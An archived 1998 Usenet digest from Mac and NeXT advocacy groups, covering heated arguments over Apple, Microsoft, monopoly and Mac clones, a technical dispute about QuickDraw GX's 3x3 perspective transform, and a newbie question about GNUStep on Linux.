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Date: Mon, 23 Nov 1998 14:38:00 -0800
NNTP-Posting-Date: Mon, 23 Nov 1998 14:36:47 PDT
In article <3659DC3A.BD2CB13@spamtoNull.com>, Jonathan Harker
<Limeyville@spamtoNull.com> wrote:
> "R. Tang" wrote:
>
> >
> > Two markets competing for the same users are NOT two markets;
> > they're one market.
>
> What is Apple doing to persuade X86 users to defect? What is Dell doing
> to bring over Mac users?
I don't know what Apple (and Dell) are doing other than making an effort
to sell a competitive personal computer product, but the sales numbers and
surveys for iMac indicate that such migrations do in fact occur. The
magnitudes and significance of such switches are open to debate of course.
Rob
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Mon, 23 Nov 1998 17:10:00 -0500
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"William V. Campbell Jr." wrote:
>
> Jonathan Harker said
> Lars T. wrote
>
> Wake up Lars, this is typical Harker crap. He posts nonsense then sits backs
> and laughs while everyone screams that his logic is illogical. Just look at
> the length of this useless thread. He's looking for our love and we are
> responding. WoW! what a Country!
>
> Peace
>
> William V. Campbell Jr.
> Country Liv'n
> wcampbe1@san.rr.com
>
....:)
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 23 Nov 1998 22:42:50 GMT
Organization: MagicNet, Inc.
Message-ID: <cirby-2311981742100001@pm56-03.magicnet.net>
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Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> So, then, Apple killing off Mac clone companies (or buying them off) is
> not considered "stifling competition in the marketplace"?
No, because the "marketplace" is the whole personal computer market, not a
narrowly-defined segmant of it.
> Or is it that
> Apple can "get by" with that merely because "compared to what Microsoft
> has allegedly done" it's small potatoes?
No, Apple "gets by" with it because it's a very different case, and you'd
know that if you could understand what a "monopoly" truly is.
> At least, then, because consumers have several other OS's to choose from
> aside from Microsoft OSs we can at last dispense with the claim that
> "Microsoft is a monopoly."
No, because, even taken in aggregate, those other operating systems only
add up to a few percent of the market that Microsoft currently owns about
09% of worldwide.
--
Chad Irby \ My greatest fear: that future generations will,
cirby@magicnet.net \ for some reason, refer to me as an "optimist."
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 23 Nov 1998 22:45:28 GMT
Organization: MagicNet, Inc.
Message-ID: <cirby-2311981744480001@pm56-03.magicnet.net>
References: <364295A3.ABE8C927@earthlink.net> <adtF2K0yo.K7D@netcom.com> <adtF2Ls51.4v6@netcom.com> <72uq90$150c$1@nntp6.u.washington.edu> <3659DC3A.BD2CB13@spamtoNull.com>
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> What is Apple doing to persuade X86 users to defect?
Selling iMacs. Quite nicely, to boot. Major sales gains.
> What is Dell doing to bring over Mac users?
Selling PCs aimed at the graphics market. They're not doing it as well,
though. They're mostly getting PC users who used to buy Intergraph
workstations (the last PC company that tried to compete with Apple in the
graphics market). Intergraph, incidentally, lost about as much money this
year as its entire value...
--
Chad Irby \ My greatest fear: that future generations will,
cirby@magicnet.net \ for some reason, refer to me as an "optimist."
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 23 Nov 1998 22:51:38 GMT
Organization: MagicNet, Inc.
Message-ID: <cirby-2311981750580001@pm56-03.magicnet.net>
References: <364295A3.ABE8C927@earthlink.net> <36505AFF.467AC9DC@spamtonull.com> <72pvfb$hcs@newsb.netnews.att.com> <36519D57.790C733D@spamtonull.com> <72srb4$r16@newsb.netnews.att.com> <3659D5B8.1EF8DA12@spamtoNull.com>
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> Jobs turned down some very high offers from
> the cloners before doing them in.
Actually, Jobs turned down some mediocre offers from the cloners before
realizing that they'd never pay their own way in the Mac market.
A $100/machine payment is pretty thin when you compare it to a
$300/machine profit...
--
Chad Irby \ My greatest fear: that future generations will,
cirby@magicnet.net \ for some reason, refer to me as an "optimist."
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 23 Nov 1998 22:53:42 GMT
Organization: MagicNet, Inc.
Message-ID: <cirby-2311981753020001@pm56-03.magicnet.net>
References: <364295A3.ABE8C927@earthlink.net> <364B0920.74AB6512@spamtoNull.com> <72i4pl$e69$1@coward.cc.utah.edu> <364DAC84.DDC3A1A4@spamtoNull.com> <19981114211830178656@pm2-3-11.aug.com> <365069F2.4ED5904F@spamtoNull.com> <72qrqc$l0q@news1.panix.com> <3651B5EA.68BA8B50@spamtoNull.com> <72tfvs$h34@news1.panix.com> <3659D77F.2D5FA2E2@spamtoNull.com>
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> Sal Denaro wrote:
> >
> > Statements made by an official representative of a company can be assumed
> > to be policy of that company. When Steve Jobs makes a statement, it can be
> > inferred that said statement can from "Apple"
>
> Not in this case. These statements come from a subpeoned *government*
> witness. Compaq has made no such official corporate statements.
So you think a Compaq executive, when subpeonaed by the government,
becomes a "Government Witness," with no more connection to Compaq?
It must hurt your head to try and come up with some of this stuff.
--
Chad Irby \ My greatest fear: that future generations will,
cirby@magicnet.net \ for some reason, refer to me as an "optimist."
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 23 Nov 1998 22:57:43 GMT
Organization: MagicNet, Inc.
Message-ID: <cirby-2311981757030001@pm56-03.magicnet.net>
References: <364295A3.ABE8C927@earthlink.net> <F2IuKA.1AK@T-FCN.Net> <365193CC.4AEE4713@spamtoNull.com> <cirby-1711981219330001@pm51-46.magicnet.net> <72sc3k$1c0m$1@nntp6.u.washington.edu> <3659BCA3.294708F3@spamtoNull.com>
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> And I'm also the same bozo who pointed out the obvious fact (yet again)
> that among all of those so-called "estate endorsements" *NOT ONE* of
> them ever said "So-and-so's estate thinks the Mac is the greatest." Not
> one. Not a single one *DIRECTLY* endorsed either Apple or the Mac in
> either print or television commercials.
...and the easy answer to that is "so what?"
Of course, after dealing with some of Microsoft's retroactive history, I
can see why the typical Windows user might get confused and think Ameila
Earhart or Albert Einstein might have been computer users...
--
Chad Irby \ My greatest fear: that future generations will,
cirby@magicnet.net \ for some reason, refer to me as an "optimist."
From: (Michael Giddings) mgiddings@nospam.ypc.net
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Are JH (and MJP) paid Microsoft agents?
Date: 23 Nov 1998 23:13:50 GMT
Organization: Crock of Stellar Bovine
Distribution: world
Message-ID: <73cq7e$nh2$1@coward.cc.utah.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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NNTP-Posting-Date: 23 Nov 1998 23:13:50 GMT
"Knife the baby" . . . the thread that won't die. No wonder - this
afternoon alone there were 18 posts on the topic by Jonathan Harker. Who
has time to sit around *for fun* arguing on behalf of a huge corporation
for hours on end (day after day after day . . .)? Amazingly through all of
this he doesn't seem to ever loose his cool (unlike MJP). This combined
with the allegations that Microsoft has paid people in the past for
letter-to-the-editor writing is interesting . . . is JH being paid for all
this effort on behalf of Microsoft?
The peices of the puzzle begin to add up . . .
Anyway, good work all of you who bother to keep him busy. A good way to
keep those Microsoft resources spread thin . . .
Michael Giddings (remove nospam. in address to reply)
BTW - in case MJP (most likely) or JH get the urge to respond by labelling
me as and "Apple fanatic" or other similarly silly thing, you might check
out my message dated 11/18/1998 regarding the release date for OS X Server.
If that doesn't make it clear enough that I'm no Apple apologist then
nothing will . . .
From: Michael Peck <michael.peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Are JH (and MJP) paid Microsoft agents?
Date: Mon, 23 Nov 1998 17:19:52 -0600
Organization: Ericsson Data Services Americas
Message-ID: <3659ED98.5CA8C667@ericsson.com>
References: <73cq7e$nh2$1@coward.cc.utah.edu>
Mime-Version: 1.0
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Michael Giddings wrote:
[cut]
Yes.
MJP
From: "Christopher Smith" <drsmithy@usa.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Tue, 24 Nov 1998 09:22:51 +1000
Organization: University of Queensland
Message-ID: <73cqgm$a85$1@bunyip.cc.uq.edu.au>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <19981109212809124993@pm2-2-15.aug.com> <364A12A5.4B55B381@spamtoNull.com> <199811112325443438729@pm2-1-15.aug.com> <adtF2At2v.8B7@netcom.com> <rbarris-ya023280001211980050240001@206.82.216.1> <adtF2Bw7x.Do7@netcom.com> <rbarris-ya023280001211981405070001@206.82.216.1> <01be0e95$8dc4e640$06387880@chewy> <364C8D5D.A48C7BF@spamtoNull.com> <01be0f81$1c03c700$06387880@chewy> <364DB6C5.13839446@spamtoNull.com> <72qrqd$l0q@news1.panix.com> <3659891D.6E6A5069@spamtoNull.com> <cirby-2311981230320001@pm53-43.magicnet.net>
Chad Irby <cirby@magicnet.net> wrote in message
news:cirby-2311981230320001@pm53-43.magicnet.net...
>Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>
>> What shocks me is why anyone would want to do business with a company
>> intent on milking old technology when there are much better alternatives
>> available.
>
>Yaeh, it's a shame that Wintel people go to such lengths to keep x86 DOS
>compatibility...
>
>Maybe you should try a newer computer like the Mac.
That's that "modern" computer/OS with no protected memory, poor
multitasking, no SMP and memory management even Windows *3.0* was better
than isn't it ?
>
>--
>
>Chad Irby \ My greatest fear: that future generations will,
>cirby@magicnet.net \ for some reason, refer to me as an "optimist."
From: gwangung@u.washington.edu (R. Tang)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 23 Nov 1998 23:15:56 GMT
Organization: University of Washington, Seattle
Message-ID: <73cqbc$vla$1@nntp6.u.washington.edu>
References: <364295A3.ABE8C927@earthlink.net> <72sc3k$1c0m$1@nntp6.u.washington.edu> <3659BCA3.294708F3@spamtoNull.com> <cirby-2311981757030001@pm56-03.magicnet.net>
NNTP-Posting-User: gwangung
In article <cirby-2311981757030001@pm56-03.magicnet.net>,
Chad Irby <cirby@magicnet.net> wrote:
>Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>
>> And I'm also the same bozo who pointed out the obvious fact (yet again)
>> that among all of those so-called "estate endorsements" *NOT ONE* of
>> them ever said "So-and-so's estate thinks the Mac is the greatest." Not
>> one. Not a single one *DIRECTLY* endorsed either Apple or the Mac in
>> either print or television commercials.
>
>...and the easy answer to that is "so what?"
Because Harker is a bozo.
What the estates signed are endorsements. That's what the
advertising industry calls them. That's what the legal department calls
'em. Use an image in a commercial, it's an endorsement.
Only Harker is too stupid to realize this.
This IS a direct endorsement.
--
-Roger Tang, gwangung@u.washington.edu, Artistic Director PC Theatre
- Editor, Asian American Theatre Revue [NEW URL]
- http://www.abcflash.com/a&e/r_tang/AATR.html
-Declared 4-F in the War Between the Sexes
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 23 Nov 1998 23:30:06 GMT
Organization: MagicNet, Inc.
Message-ID: <cirby-2311981829260001@pm56-03.magicnet.net>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <19981109212809124993@pm2-2-15.aug.com> <364A12A5.4B55B381@spamtoNull.com> <199811112325443438729@pm2-1-15.aug.com> <adtF2At2v.8B7@netcom.com> <rbarris-ya023280001211980050240001@206.82.216.1> <adtF2Bw7x.Do7@netcom.com> <rbarris-ya023280001211981405070001@206.82.216.1> <01be0e95$8dc4e640$06387880@chewy> <364C8D5D.A48C7BF@spamtoNull.com> <01be0f81$1c03c700$06387880@chewy> <364DB6C5.13839446@spamtoNull.com> <72qrqd$l0q@news1.panix.com> <3659891D.6E6A5069@spamtoNull.com> <cirby-2311981230320001@pm53-43.magicnet.net> <73cqgm$a85$1@bunyip.cc.uq.edu.au>
"Christopher Smith" <drsmithy@usa.net> wrote:
> That's that "modern" computer/OS with no protected memory, poor
> multitasking, no SMP and memory management even Windows *3.0* was better
> than isn't it ?
Buzzword compliance is really important to you, isn't it?
I suppose you think that Windows 98 has all of those things, too?
--
Chad Irby \ My greatest fear: that future generations will,
cirby@magicnet.net \ for some reason, refer to me as an "optimist."
From: rbarris@quicksilver.com (Rob Barris)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Message-ID: <rbarris-ya023280002311981637350001@206.82.216.1>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <19981109212809124993@pm2-2-15.aug.com> <364A12A5.4B55B381@spamtoNull.com> <199811112325443438729@pm2-1-15.aug.com> <adtF2At2v.8B7@netcom.com> <rbarris-ya023280001211980050240001@206.82.216.1> <adtF2Bw7x.Do7@netcom.com> <rbarris-ya023280001211981405070001@206.82.216.1> <adtF2CH1x.MEL@netcom.com> <72qfhs$f6p$1@nnrp1.dejanews.com> <adtF2K0yo.K7D@netcom.com> <atticus-1711982007150001@user-38lcbh2.dialup.mindspring.com> <3659BB98.F4529E3C@spamtoNull.com> <73ctj7$ik0$1@nnrp1.dejanews.com>
Organization: Quicksilver Software, Inc.
Mime-Version: 1.0
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Date: Mon, 23 Nov 1998 16:37:35 -0800
NNTP-Posting-Date: Mon, 23 Nov 1998 16:36:20 PDT
In article <73ctj7$ik0$1@nnrp1.dejanews.com>, "Charles Swiger"
<chuck@codefab.com> wrote:
> In article <3659BB98.F4529E3C@spamtoNull.com>,
> Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> > Andy Walton wrote:
> >> The case against Microsoft isn't that they're a bunch of meany-heads; the
> >> case is that they stifled competititon in the marketplace. Any such claim
> >> about Apple is patently absurd, given the claim of their primary
> >> competitor.
> >
> > So, then, Apple killing off Mac clone companies (or buying them off) is
> > not considered "stifling competition in the marketplace"?
>
> Of course it's considered "stifling competition".
>
> > Or is it that Apple can "get by" with that merely because "compared to
> > what Microsofthas allegedly done" it's small potatoes?
>
> Apple 'can "get by"' because they do not have a market monolopy. It's not
> illegal for a company to "stifle competition". Sometimes, it's not even
> illegal for monopolies to stifle competition within the market they hold a
> monopoly position (depending on just what they do).
No one ever demonstrated that Apple's decision about clones (note -
*licensees*, not clean-room reverse-engineered designs) was illegal, so I'm
not sure that they have to "get by" anything, monopoly or no monopoly. I
personally was not a big fan of that decision and it obviously made some
customers very upset.
Rob
From: "Christopher Smith" <drsmithy@usa.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Tue, 24 Nov 1998 10:42:39 +1000
Organization: University of Queensland
Message-ID: <73cv67$1gl$1@bunyip.cc.uq.edu.au>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <19981109212809124993@pm2-2-15.aug.com> <364A12A5.4B55B381@spamtoNull.com> <199811112325443438729@pm2-1-15.aug.com> <adtF2At2v.8B7@netcom.com> <rbarris-ya023280001211980050240001@206.82.216.1> <adtF2Bw7x.Do7@netcom.com> <rbarris-ya023280001211981405070001@206.82.216.1> <01be0e95$8dc4e640$06387880@chewy> <364C8D5D.A48C7BF@spamtoNull.com> <01be0f81$1c03c700$06387880@chewy> <364DB6C5.13839446@spamtoNull.com> <72qrqd$l0q@news1.panix.com> <3659891D.6E6A5069@spamtoNull.com> <cirby-2311981230320001@pm53-43.magicnet.net> <73cqgm$a85$1@bunyip.cc.uq.edu.au> <cirby-2311981829260001@pm56-03.magicnet.net>
Chad Irby <cirby@magicnet.net> wrote in message
news:cirby-2311981829260001@pm56-03.magicnet.net...
>"Christopher Smith" <drsmithy@usa.net> wrote:
>
>> That's that "modern" computer/OS with no protected memory, poor
>> multitasking, no SMP and memory management even Windows *3.0* was better
>> than isn't it ?
>
>Buzzword compliance is really important to you, isn't it?
No, functionality is.
>
>I suppose you think that Windows 98 has all of those things, too?
Nope. But it has more of them than MacOS.
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
Subject: In my own paranoid (?) defense... (Was Re: A problem with
QuickTime Vectors
Date: 23 Nov 98 16:39:36 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B27F4F2C-66F7E@206.165.43.34>
References: <*johnnyc*-2111981727130001@jchristie.halifaxcable.dal.ca>
Mime-Version: 1.0
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nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.mac.hypercard,
nntp://news.primenet.com/comp.sys.next.advocacy
John Christie <*johnnyc*@or.psychology.dal.ca> said:
>If you were Apple would you want anyone to
>give credence to anything Lawson has to say? (OK, cheap shot, teehee).
The problem is that NO-ONE wants to support my statements, even when I am
100% correct.
For instance, I, like the GX/QT vectors manual, asserted (and still do!)
that the non-affine transform of GX is a true 3D perspective transform.
Lots of so-called experts, especially from the NeXT programmer's camp, have
asserted that I don't know what I'm talking about. They wax elegant about
my stupidity, lack of knowledge and lack of education (not to mention my
need for medication).
And yet, I am indeed correct. Those that refer to GX's standard 3x3
perspective transform matrix as a "2 1/2D" transform obviously don't know
what they are talking about. Ditto with those that assert that a 3x3
matrix, unlike DPS/eQD's 3x2 affine transform matrix, can't be inverted.
In fact, they are simply wrong.
Since I lack the formal education of most of my opponents, I have to do a
LOT of reading before I come accross little gems like the following from
George Wolhberg's _Digital Image Warping_, page 52:
"A general representation of a _perspective transformation_ is
[3x3 matrix identical, save for element-names, to GX's, omitted]
[...]
"For perspective transformations, the forward mapping functions are:
x = x'/w' = (a11u + a21v + a31)/(a13u + a23v + a33)
y = y'/w' = (a12u + a22v + a32)/(a13u + a23v + a33)
[GX's perspective transform is identical to the above, except that the
element names are changed...]
[BTW, the term 2 1/2 D is only reserved (from what I have seen) to Doom's
line-stretching pseudo-3D perspective algorithm. Will the persons in error
about the perspective transform who called me names and implied that I was
an idiot on this matter in front of the entire online Mac community
apologize please? -Didn't think that you were going to -not a one of you
has the style]
Now, as far as the equivalence of GX's transform to eQD's goes, here is
what Wohlberg has to say, also on page 52:
"Note that affine transformations are a special case of perspective
transformations where w' is constant over the entire image, i.e., a13 = a23
= 0."
Now, here is what Wohlberg says about invertability of the perspective
transform:
"Perspective transformations share several important properties with affine
transformations. They are planar mappings, and thus their forward and
inverse transforms are single-valued. They preserve lines in all
directions. That is, lines map onto lines (though not of the same
orintation). As we shall see, this desirable property is lacking in more
general mappings. Furthermore, the eight degrees of freedom in [the
equation using transform matrix] is sufficient to permit planar
quadrilateral-toquadrilateral mappings. In contrast, affine transformations
only offer six degrees of freedom and thereby facilitiate only
triangle-to-triangle mappings." -p 52.
Now, as a few people may recall, EVERYONE jumped on my case for calling
GX's 3D perspective transform a true perspective transform. I was called
all kinds of idiot, especially by the so-called experts from the NeXT
programming camp.
Since Wohlberg is pretty much THE textbook on this kind of thing, I imagine
that at least a few people reading the attacks on my claims were actually
well-aware that I was correct, and rather than mildly defending me by
saying "Lawson's right in this case, at least," everyone who knew anything
kept their mouth shut and let a bunch of fools and idiots mock me.
Shame.
[readers who are not programmers should be assured that I am correct in my
statements -take them to non-Mac programmers if you must to verify this,
and ask yourself a simple question: what politics is involved in attempting
to discredit me in this fashion? What is going on here?]
--
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: John Rudd <jrudd@cygnus.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
Subject: Re: In my own paranoid (?) defense... (Was Re: A problem with QuickTime
Vectors
Date: Mon, 23 Nov 1998 17:08:14 -0800
Organization: Cygnus Solutions
Message-ID: <365A06FE.A3055467@cygnus.com>
References: <*johnnyc*-2111981727130001@jchristie.halifaxcable.dal.ca> <B27F4F2C-66F7E@206.165.43.34>
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Lawson English wrote:
>
> John Christie <*johnnyc*@or.psychology.dal.ca> said:
>
> >If you were Apple would you want anyone to
> >give credence to anything Lawson has to say? (OK, cheap shot, teehee).
>
> The problem is that NO-ONE wants to support my statements, even when I am
> 100% correct.
>
> For instance, I, like the GX/QT vectors manual, asserted (and still do!)
> that the non-affine transform of GX is a true 3D perspective transform.
>
> Lots of so-called experts, especially from the NeXT programmer's camp, have
> asserted that I don't know what I'm talking about. They wax elegant about
> my stupidity, lack of knowledge and lack of education (not to mention my
> need for medication).
>
> And yet, I am indeed correct. Those that refer to GX's standard 3x3
> perspective transform matrix as a "2 1/2D" transform obviously don't know
> what they are talking about.
Without arguing the other points, let me try to explain the assertion
that a 3x3 matrix is a 2 1/2D transformation.
In order to _properly_ do a transformation on data in an N dimentional
space, you must use N+1 dimensional matrices. Thus, to propperly do
_certain_ transformations (I believe rotations are part of this, but it
has been a VERY long time since I've done this stuff) on 2d data, you
must use a 3x3 matrix. Similarly, if you're doing perspective/etc
transformations on 3d data, you must use a 4x4 matrix.
There are _SOME_ operations that you can do on N dimensional data with
NxN matrices and not have errors/artifacts, but there are also many
transformations that you cannot do without errors/artifacts creeping
into your results. Thus, while a 3x3 matrix transformation on 2d data
is from one perspective a 3 dimensional transformation (because you're
using a 3x3 matrix), it is also not arbitrarily suited for
transformations on 3d data.
I think the "2 1/2D" transformation moniker came from the fact that the
transformation makes use of 3 dimensions, while it is not uniformly
suited for use on 3 dimensional data sets. From one perspective
(whether or not the math uses 3 dimensions) it is 3d, and from another
(whether or not the data set can be entirely contained in 3 dimensions
without introducing transformation errors) it is not. Thus, while it
does make use of 3 dimensions in computation, it is only propperly
suited for work on 2 dimensional data.
For the desktop publishing world, the distinction may not be important..
for those involved in 3d rendering (for visualization, or even for
entertainment), it is VERY important. It is my impression that your
background is based around the former, while the NeXT community is, I
think, more oriented toward the latter.
--
John "kzin" Rudd jrudd@cygnus.com http://www.cygnus.com/~jrudd
-----======Intel: Putting the backward in backward compatible======-----
Kein Mitleid Fu:r MicroSoft (no mercy for microsoft) -- www.kmfms.com
From: a1050pi@yahoo.com (Sheldon Gartner)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy,gnu.gnustep.discuss
Subject: Re: Why it is inevitable that Apple will become a Linux company
Date: Tue, 24 Nov 1998 03:35:14 GMT
Organization: Airnews.net! at Internet America
Message-ID: <0CB397306BFD59DB.3D7DC8530176920E.19206DAC93E1E0F6@library-proxy.airnews.net>
References: <72qhlo$gs2$1@nnrp1.dejanews.com> <johnc-1611982004130001@pppsl1041.chicagonet.net> <72qr43$3kj$1@fir.prod.itd.earthlink.net> <bholderness-1811981530000001@207-172-95-180.s53.as1.dwt.erols.com> <14C44EC81D75CB41.20941B0A27B3D88F.E3FF30CB25C20D39@library-proxy.airnews.net> <36543fbc.5998414@news.chicagonet.net> <adtF2pD5w.BJw@netcom.com> <734qin$f2o$1@plo.sierra.com> <1div3io.8fsl0210f7n28N@port1-175.nordnet.fr> <slrn75g6hr.2r0.cbbrowne@godel.brownes.org>
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On 22 Nov 1998 14:06:39 GMT, cbbrowne@news.brownes.org (Christopher B.
Browne) wrote:
>On Sat, 21 Nov 1998 22:15:49 +0100, Aaron Smith <asmith@nordnet.fr> posted:
>>If you want to hammer on Apple for not GPLing the whole damn OS, then
>>they are never going to satisfy you. However, there seems to be no good
>>reason to replace the BSD layer with a Linux layer.
>
>If they could sell apps to existing Linux folk, thereby increasing sales,
>that would be a good reason.
>
>>What would be much smarter would be to port the upper layers
>>(OPENSTEP++, GUI, Imaging Model, Development environment) to Linux. This
>>would relieve them of the burden of supporting Intel hardware directly
>>(let the linux community futz with it) yet still give their OPENSTEP++
>>developers access to Intel-Linux based boxes.
>
>Of course, there is already an effort underway to provide at least three of
>those four items in "Open Source" form already.
>
>See: <http://home.sprintmail.com/~mhanni/gnustep/>
>
>The GNUStep Project is apparently starting to make releases of the libraries
>in RPM and DPKG form, which eases adoption for Linux users on appropriate
>distributions, and also indicates that GNUStep is near the point where it
>starts to be useful for deploying applications, and not just for fiddling
>around with libraries...
>
>Why depend on Apple, when we can depend on the free software community?
From the newbie's standpoint (like me) the question is: What's the
difference to the end user among KDE, GNOME and GNUStep? Is it system
requirements, what? Are they all compatible? How close is GNUStep to
being available for newbie desktops?
-l
---
ICQ#: 9393354 * "Whenever you find that you are on the side of
the majority, it is time to reform." -- Mark Twain
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
Subject: Re: In my own paranoid (?) defense... (Was Re: A problem with
QuickTime Vectors
Date: 23 Nov 98 19:14:31 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B27F7795-FEE36@206.165.43.34>
References: <365A06FE.A3055467@cygnus.com>
Mime-Version: 1.0
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nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.mac.hypercard,
nntp://news.primenet.com/comp.sys.next.advocacy
There are NO 3D perspective operations that you cannot do on *2D* data
with an 3x3 matrix. There are plenty of operations that you simply CANNOT
do with a 3x3 matrix, but you CAN do simple 3D perspective applied to
planar graphics without ANY error with the equation:
x' = x/(ux + vy + w)
y' = y/(ux + vy + w)
It is a true 3D perspective algorithm. _Digital Image Warping_, by George
Wohlberg, is perhaps THE classic on this aspect of computer graphics and it
goes into detail about this. The 3x3 transform of GX and QuickTime is
certainly not suitable for general 3D computer graphics, but GX, enhanced
QuickDraw, Display PostSCript and QuickTime vectors are all devoted to flat
planes (sheets of paper) with no extraneous details such as lighting or
camera positions. I've seen hints that Apple is working on a generic 3D DTP
graphics engine, which will no doubt be incredible, but my issue is with
the 2D engine being used by Carbon and YB graphics. This is not as powerful
in certain key areas as the 2D graphics model used by GX and QuickTime and
is simply not compatible with them, nor is it near as capable as the K2
system that Adobe showed off at Seybold, even though GX is.
Things that you can do with GX , out of the box (ala GXFCN - simple
GX-scripting utility for HyperCard and possibly AppleScript) that you can't
do with the publicly described Carbon and Yellow Box graphics engine
include:
Creating editable text that has had a [genuine] 3D perspective added to it.
Ditto with editable graphics and bitmaps.
Create WYSIWYG QuickTime vectors using a simple interface (scripting or
GUI) without reinventing much of GX's functionality when you are forced to
use QuickTime's non-creation-oriented model to implement a WYSIWYG graphics
drawing app.
Work on ALL color Macs with enough RAM, running System 7.1 or later.
Provide a single, coherent programming and user-interface model that works
across all models of color Macintoshes (except the LC and LC II and maybe
the MacII), and for QUickTIme vectors and DTP AND (possibly for PowerMacs
or even high-end Quadras) 2D games with simple graphics demands, such as
SpaceWard Ho! or Civilization II.
If Apple were to extend the color model of the Carbon/YB graphics and
printing system to handle GX/QT color, as well as handle the 3x3 3D
perspective matrix of GX/QT, it would be possible to create DTP apps that
handled QUickTime graphics out-of-the-box, without having to use QuickTIme
for the graphics engine, which ain't easy, by all accounts -certainly not
as easy as using a retained mode engine (anyone want to tell me how to
write an XCMD/XFCN that not only converts GX graphics into QuickTime
vectors, but allows directly scripting and graphical manipulation of QT
vectors? Without HC 3.0, I don't think that it can be done in any
reasonable time-frame).
The artificial distinction that Apple has made between its multimedia
engine (QuickTime) and its DTP engine (eQD/YB graphics) is short-sighted.
At the least, eQD/YB graphics should handle the creation of QuickTIme
graphics, and should also handle GX graphics files for at least display
purposes.
Anything less is rather silly.
And for that, you need [at least] a 3x3 matrix and the full color-handling
of GX. Let's throw in the ATSUI text block into GX and QuickTIme while
we're at it, as well as printing capabilities for QT movies that are able
to keep the device-independence of QT vectors as well as the non-opaqueness
of QT vectors and other QT layered images -if Apple won't do it, I will.
But it will only work on systems that have MacOS 8.5 or earlier installed.
Stupidstupidstupidstupid...
John Rudd <jrudd@cygnus.com> said:
>There are _SOME_ operations that you can do on N dimensional data with
>NxN matrices and not have errors/artifacts, but there are also many
>transformations that you cannot do without errors/artifacts creeping
>into your results. Thus, while a 3x3 matrix transformation on 2d data
>is from one perspective a 3 dimensional transformation (because you're
>using a 3x3 matrix), it is also not arbitrarily suited for
>transformations on 3d data.
>
>I think the "2 1/2D" transformation moniker came from the fact that the
>transformation makes use of 3 dimensions, while it is not uniformly
>suited for use on 3 dimensional data sets. From one perspective
>(whether or not the math uses 3 dimensions) it is 3d, and from another
>(whether or not the data set can be entirely contained in 3 dimensions
>without introducing transformation errors) it is not. Thus, while it
>does make use of 3 dimensions in computation, it is only propperly
>suited for work on 2 dimensional data.
--
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 23 Nov 1998 18:51:18 GMT
Organization: MagicNet, Inc.
Message-ID: <cirby-2311981350380001@pm53-43.magicnet.net>
